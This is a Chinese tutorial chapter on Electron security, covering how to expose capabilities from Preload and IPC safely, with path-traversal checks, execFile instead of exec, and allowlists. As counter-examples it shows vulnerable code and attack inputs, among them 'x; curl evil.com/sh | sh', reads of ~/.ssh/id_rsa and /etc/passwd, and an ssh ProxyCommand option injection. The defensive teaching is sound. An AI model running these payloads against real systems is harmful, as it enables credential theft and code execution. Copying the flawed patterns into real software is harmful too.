如今开发 Agent 客户端的团队越来越多,大部分人没有系统化的学习安全相关知识,在开发客户端时会发生非常多并且严重的安全事故,在接下来的一段时间,我将系统的梳理 Electron 开发中涉及安全的知识点,用具体的案例来帮大家理解以及分析安全问题,让大家的产品都能做到攻不可破!
第二章用 nodeIntegration、contextIsolation、sandbox 三个配置,让 Renderer 不直接拥有 Node.js 和系统能力。
第三章用跳转控制、白名单和 CSP,管住 Renderer 能加载什么内容、执行什么代码。
但业务总要把一些能力交给 Renderer:选文件、存数据、发起一次网络诊断。这一章讲这些能力怎么通过 Preload + IPC 安全的交出去。
整体来看,一次 IPC 请求,要过四道关才能碰到能力:

同时记住分工:Preload 负责固定"能调什么、以什么形式调",Main 负责校验"传进来的内容"。前者缩小攻击面,后者兜底。两边都不能省。
4.1 Preload 只暴露具体 API
在 Electron 开发中,最忌讳的就是将整个主进程的能力一次性返回,由渲染进程完全决定怎么调用。
这就相当于把银行的金库大门完全敞开,没有任何的安全性可言。
比如如下的错误写法,把工具本身递出去:
js
// 把 ipcRenderer、shell 整个暴露
contextBridge.exposeInMainWorld('api', {
ipcRenderer,
shell,
})
页面拿到之后能做什么?任何 channel、任何参数,调用无任何限制:
js
window.api.ipcRenderer.invoke('file:readDownload', '/etc/passwd')
window.api.shell.openExternal('file:///etc/passwd')
Main 上有多少 handler,页面就有多少能力;参数也完全不受限。
正确写法,只暴露具体操作:
js
// ✓ 页面只能调用你列出来的操作
contextBridge.exposeInMainWorld('api', {
getCurrentUser: () => ipcRenderer.invoke('user:get'),
readDownload: (name) => ipcRenderer.invoke('file:readDownload', name),
})
对比一下攻击面:
getCurrentUser() 没有参数,攻击面是零。readDownload(name) 有一个字符串参数,攻击面就是这一个参数,交给 Main 校验。而暴露 ipcRenderer,攻击面是所有对外接口以及任意参数。
好的 API 设计,就是在设计攻击面的大小。
4.2 通用转发等于没封装
还有一种写法更隐蔽,而且大量教程和模板里就是这么写的:
js
// 完全没有任何安全错误的写法
contextBridge.exposeInMainWorld('api', {
invoke: (channel, ...args) => ipcRenderer.invoke(channel, ...args),
})
它看起来有"封装",但限制为零。页面对 Main 上的每个 handler 都可达:
js
api.invoke('file:readDownload', '../../.ssh/id_rsa')
api.invoke('net:ping', 'x; curl evil.com/sh | sh')
包括那些你写了、忘了、后来加了危险参数的 handler。
有人会在 Preload 里加 channel 白名单,这比裸转发好:channel 至少固定了。但参数形状仍然不受限------白名单里的 channel 也能收到任意参数。所以它不能替代 Main 的校验,只是缩小了一点面。
原则只有一句:
页面不能接触 channel 名,只能对接 x.getCurrentUser 这种方法调用;参数形式由 Preload 固定,参数内容由 Main 校验。
4.3 防止路径穿越:谨慎使用 path.join
看一个真实场景。应用允许页面读取下载目录里的文件:
js
// preload
readDownload: (name) => ipcRenderer.invoke('file:readDownload', name)
// main中直接使用传入的参数
ipcMain.handle('file:readDownload', (_, name) => {
return fs.readFile(path.join(downloadsDir, name), 'utf-8')
})
上面可能看起来没有问题,但是如果攻击者传如下参数:
js
await window.api.readDownload('../../.ssh/id_rsa')
把拼接过程展开看:
js
path.join('/Users/me/Downloads', '../../.ssh/id_rsa')
// → '/Users/me/.ssh/id_rsa'
.. 一级级把路径带出目录,规范化后落在 home 下的私钥。Main 毫无察觉地读了它。

记住:path.join 只负责拼接,不负责检查结果还在不在目录里。
4.4 路径校验:先 resolve,再查目录
正确写法,两步:
js
// 先解析成绝对路径,再确认它在目录里
ipcMain.handle('file:readDownload', (_, name) => {
if (typeof name !== 'string') throw new Error('invalid name')
const target = path.resolve(downloadsDir, name)
if (!target.startsWith(downloadsDir + path.sep)) {
throw new Error('out of range')
}
return fs.readFile(target, 'utf-8')
})
然后看不同的参数产生的结果:
js
const base = '/Users/me/Downloads'
path.resolve(base, 'report.pdf')
// → '/Users/me/Downloads/report.pdf' ✓ 放行
path.resolve(base, 'sub/a.pdf')
// → '/Users/me/Downloads/sub/a.pdf' ✓ 子目录正常可用
path.resolve(base, '../../.ssh/id_rsa')
// → '/Users/me/.ssh/id_rsa' ✗ 前缀不符,拦下
path.resolve(base, '/etc/passwd')
// → '/etc/passwd' ✗ 绝对路径不会被"拼进去",原样返回,拦下
最后一条是关键细节:
resolve 遇到绝对路径会直接以它为准,所以"传绝对路径"这种绕过方式天然被这套检查覆盖。
这里还有一个更隐蔽的坑:路径检查一定要携带 path.sep。
js
const base = '/app/data'
'/app/data-evil/x'.startsWith(base) // true ❌ 兄弟目录混进来了
'/app/data-evil/x'.startsWith(base + path.sep) // false ✓
data-evil 以 data 开头,startsWith 会放行。拼上分隔符才是在查"目录成员关系"。
更彻底以及安全的做法:
不要让页面传文件名,用 ID 到 Main 里查映射,这样路径穿越直接失去入口。
4.5 命令执行:exec 和 execFile
如果要执行系统命令,杜绝直接操作 shell。
比如如下错误写法,字符串拼接:
js
// exec 走 shell,元字符原样生效
ipcMain.handle('net:ping', (_, host) => {
return exec(`ping -c 1 ${host}`)
})
如果攻击者传 '127.0.0.1; cat /etc/passwd',实际发生的是:
text
/bin/sh -c "ping -c 1 127.0.0.1; cat /etc/passwd"
shell 看到的是两条命令 。分号、$()、反引号、管道,全都生效。问题不在 ping,而是在你把用户的输入交给了 shell 解析。
正确写法,execFile 加参数数组:
js
// 不经过 shell
const { execFile } = require('child_process')
ipcMain.handle('net:ping', (_, host) => {
if (!/^[\w.-]+$/.test(host)) throw new Error('invalid host')
return new Promise((resolve, reject) => {
execFile('ping', ['-c', '1', host], (err, out) =>
err ? reject(err) : resolve(out)
)
})
})
同样的输入,这次发生的是:
text
execve('ping', ['ping', '-c', '1', '127.0.0.1; cat /etc/passwd'], ...)
没有 shell,就没人解析 ;。整串字符只是 ping 的第三个命令行参数,ping 把它当主机名去解析,然后报"找不到这个主机"。cat 从头到尾没有机会运行。
但这里只去掉了第一种解析。目标程序收到参数后,还会按自己的规则再解析一遍:哪个是选项(以 - 开头),哪个是值。输入一旦符合它的规则,照样存在安全风险:
js
// curl 的"值"是 URL,而 curl 原生支持 file 协议
// 所以这段代码可以执行,本地文件密钥暴漏
execFile('curl', ['file:///etc/passwd'])
// ssh 把以 - 开头的参数当选项
// 你传的"主机名"被 ssh 当成选项,ProxyCommand 会在本地执行
execFile('ssh', ['-oProxyCommand=cat /etc/passwd', 'x'])
这叫做选项注入:本该是"值"的输入,被程序解析成了"选项"。
针对这一种漏洞,可以使用白名单正则机制:在参数进程序之前,把它限定成"合法主机名该有的样子"。file:///etc/passwd 里有 : 和 /,-oProxyCommand=... 以 - 开头、含 =,全被挡在门外。
总结就是:execFile 保证"输入只是一个参数",白名单保证"这个参数只能长得像主机名"。
4.6 校验用白名单,不用黑名单
黑名单的假设是"我能穷举所有危险",但你穷举不了:
js
// 你挡得完吗?
const BLOCKED = ['exe', 'bat', 'sh']
if (BLOCKED.includes(ext)) throw new Error('not allowed')
scr、com、msi、cmd,大小写变体,双扩展名 a.exe.png......每挡一个,攻击者换一个。
白名单反过来:只放行名单内的,其他全拒绝:
js
// ✓ 默认拒绝
const ALLOWED = ['png', 'jpg', 'pdf']
if (!ALLOWED.includes(format)) throw new Error('not allowed')
攻击者的创造力不再和你相关------名单外的世界与他无关。
凡是"从一组值里选"的参数------格式、语言、主题、操作类型------都用这个模式。
4.7 返回值也是边界的一部分
最后一道关是返回的数据。最容易漏的是错误信息:
js
// 比如错误消息把内部信息递给页面
throw new Error(`read ${filePath} failed`)
页面收到 read /Users/me/.ssh/id_rsa failed。读没读到不重要,路径存在性已经确认了。堆栈里还可能有更多:内部目录结构、依赖版本、行号。
正确做法:细节留在 Main 的日志里,给页面通用错误码:
js
try {
const data = await fs.promises.readFile(target, 'utf-8')
return { ok: true, data }
} catch (e) {
// 细节可写入主进程日志
log.error(e)
return { ok: false, code: 'READ_FAILED' }
}
边界是双向的:
进来的参数要校验,出去的数据要最小化。
4.8 正确示例
把整体安全规则串起来。比如有一个需求:页面保存一条笔记。
js
// preload.js:只暴露一个动词,channel 固定
contextBridge.exposeInMainWorld('api', {
saveNote: (title, body) => ipcRenderer.invoke('note:save', title, body),
})
js
// main.js
ipcMain.handle('note:save', async (_, title, body) => {
// ① 类型校验
if (typeof title !== 'string' || title.length > 50) {
return { ok: false, code: 'BAD_TITLE' }
}
if (typeof body !== 'string' || body.length > 10000) {
return { ok: false, code: 'BAD_BODY' }
}
// ② 范围控制:文件名由 Main 生成,页面指定不了路径
const id = crypto.randomUUID()
const file = path.join(notesDir, `${id}.md`)
// ③ 安全执行
await fs.promises.writeFile(file, `# ${title}\n\n${body}`)
// ④ 最小返回:回标识符,不回路径
return { ok: true, id }
})
返回的是标识符(id),不是路径。在获取信息时使用 id 来查:
js
ipcMain.handle('note:get', async (_, id) => {
if (typeof id !== 'string' || !/^[0-9a-f-]{36}$/.test(id)) {
return { ok: false, code: 'BAD_ID' }
}
const file = path.join(notesDir, `${id}.md`)
return { ok: true, content: await fs.promises.readFile(file, 'utf-8') }
})
标识符和路径性质完全不同。
路径携带内部信息------目录结构、用户名------而且页面一旦持有路径,后续 API 就有了"指定路径"的筹码,4.3 的路径穿越就是这么进来的。
id 只是一串随机字符串,不携带信息,离开你提供的 API 毫无用处。页面拿 id,Main 做 id → 文件的映射,顺手校验 id 格式------这正是 4.4 里说的"更彻底的做法"。
这个例子里,路径穿越没有入口(文件名是 uuid),注入没有载体(不碰 shell),错误不泄露(通用错误码)。攻击者唯一能做的,是写入一条 50 字标题、一万字正文的笔记------这正是这个功能本来允许的。
这才是"把能力交出去"的目标:攻击者能做的,恰好等于功能本身。
4.9 检查清单
- Preload 只暴露具体 API,没有
ipcRenderer/ 通用invoke转发? - channel 名固定,不是参数拼出来的?
- 每个 handler 都校验参数类型和长度?
- 文件路径先 resolve 再查目录(带
path.sep),或者文件名由 Main 生成? - 命令执行用
execFile+ 参数数组 + 白名单,没有exec拼字符串? - 枚举型参数用白名单?
- 返回值和错误信息不泄露路径、堆栈、内部结构?
本章总结
- Preload 暴露的是操作,不是工具;API 设计就是在设计攻击面的大小。
- 通用转发等于没封装;channel 白名单也只管 channel,不管参数。
path.join只拼接不检查;resolve 之后查目录,绝对路径和..都走不出去。exec的危险在于 shell 解析;execFile去掉 shell,但去不掉目标程序自己的参数解析,白名单仍要上。- 边界是双向的:进来的参数要校验,出去的数据要最小化。
能力可以下放,校验必须留在 Main 中;攻击者能做的,应该恰好等于功能本身。
下一章
下一个问题在网络:Electron 应用里有两套网络栈,其中一套的防护比你想象的弱得多。
第五章讲网络请求安全:HTTPS 与证书、SSRF、代理,以及怎么用请求拦截给网络层装白名单。